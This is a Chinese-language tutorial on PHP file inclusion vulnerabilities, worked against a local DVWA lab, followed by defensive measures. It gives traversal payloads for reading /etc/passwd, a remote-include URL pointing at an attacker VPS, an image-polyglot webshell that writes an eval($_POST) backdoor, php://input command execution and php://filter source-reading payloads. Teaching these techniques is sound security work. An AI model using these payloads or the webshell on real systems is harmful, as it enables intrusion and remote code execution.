关于文件包含漏洞的一些知识点
字数 1483 2025-08-24 16:48:17
文件包含漏洞全面解析与防御指南
一、文件包含漏洞概述
文件包含漏洞是一种常见的Web安全漏洞,主要存在于使用PHP等服务器端脚本语言的网站中。该漏洞允许攻击者通过未经验证的文件包含操作,读取或执行服务器上的任意文件。
1.1 漏洞原理
通过PHP函数的某些特性(如include、require等),在动态引入文件时,如果传入的文件名没有经过合理验证,就可能操作预想之外的文件,导致:
- 敏感文件泄漏
- 恶意代码注入
- 远程命令执行
- 文件上传漏洞
1.2 漏洞类型
-
本地文件包含(LFI - Local File Inclusion)
- 包含服务器本地的文件
- 常见利用:读取系统敏感文件如
/etc/passwd(Linux)或Windows系统文件
-
远程文件包含(RFI - Remote File Inclusion)
- 包含远程服务器上的文件
- 前提条件:PHP配置中
allow_url_fopen和allow_url_include选项开启
二、漏洞利用技术详解
2.1 本地文件包含(LFI)利用
基本利用方式:
http://127.0.0.1:8011/vulnerabilities/fi/?page=../../../../../1.txt
典型目标文件:
- Linux系统:
/etc/passwd - Windows系统:
C:\Windows\System32\drivers\etc\hosts
2.2 远程文件包含(RFI)利用
利用步骤:
- 在VPS上放置恶意文件(如
1.txt,内容为<?php phpinfo();?>) - 在VPS上启动HTTP服务:
python2 -m SimpleHTTPServer 8888 - 构造Payload:
http://127.0.0.1:8011/vulnerabilities/fi/?page=http://vps地址:8888/1.txt
2.3 文件包含+图片马Getshell
步骤1:制作图片马
copy photo.jpg /b + shell.txt /a shell.jpg
shell.txt内容:
<?php fputs(fopen('shell.php', 'w'), '<?php eval($_POST[pass])?>'); ?>
利用方式:
- 上传图片马到服务器
- 通过文件包含触发:
http://127.0.0.1:8011/vulnerabilities/fi/?page=http://127.0.0.1:8011/hackable/uploads/shell.jpg
指定路径写入:
修改shell.txt内容为指定路径:
<?php fputs(fopen('E:\phpstudy_pro\WWW\DVWA-2.2.2\hackable\uploads\shell.php', 'w'), '<?php eval($_POST[pass])?>'); ?>
2.4 PHP伪协议利用
php://input
- 作用:执行POST请求中的PHP代码
- 条件:
allow_url_include必须为on - 利用方式:
- 使用BurpSuite抓包
- 修改请求为POST,在请求体中添加PHP代码:
或<?php system('whoami');?><?php phpinfo();?>
file://
- 作用:读取本地文件
- 条件:即使在
allow_url_fopen和allow_url_include都为off时也可使用 - 示例:
http://127.0.0.1:8011/vulnerabilities/fi/?page=file://d:\1.txt
php://filter
- 作用:读取文件源码并进行base64编码输出
- 条件:双off情况下也可使用
- 基本Payload:
php://filter/convert.base64-encode/resource=../../../../../../../1.txt
- 多次编码Payload(用于绕过某些过滤):
php://filter/convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode/resource=../../../../../../../1.txt
三、防御措施
3.1 输入验证与过滤
- 使用PHP内置安全函数规范路径:
realpath():规范化路径basename():获取文件名部分
- 实施白名单机制,限制可包含的文件范围
- 对用户输入进行严格的格式验证
3.2 PHP安全配置
- 禁用危险配置选项:
allow_url_include = Offallow_url_fopen = Off
3.3 其他防御措施
- 设置
open_basedir限制PHP可访问的目录范围 - 保持PHP和Web服务器软件的最新版本
- 对上传文件进行严格的内容检查
- 实施最小权限原则,限制Web服务器的文件系统访问权限
四、总结
文件包含漏洞是一种危害严重的Web安全漏洞,攻击者可以利用它读取敏感信息、执行系统命令甚至获取服务器控制权。防御的关键在于:
- 严格控制用户输入
- 合理配置PHP环境
- 实施多层防御策略
通过理解漏洞原理、掌握利用技术并实施有效的防御措施,可以显著提高Web应用的安全性。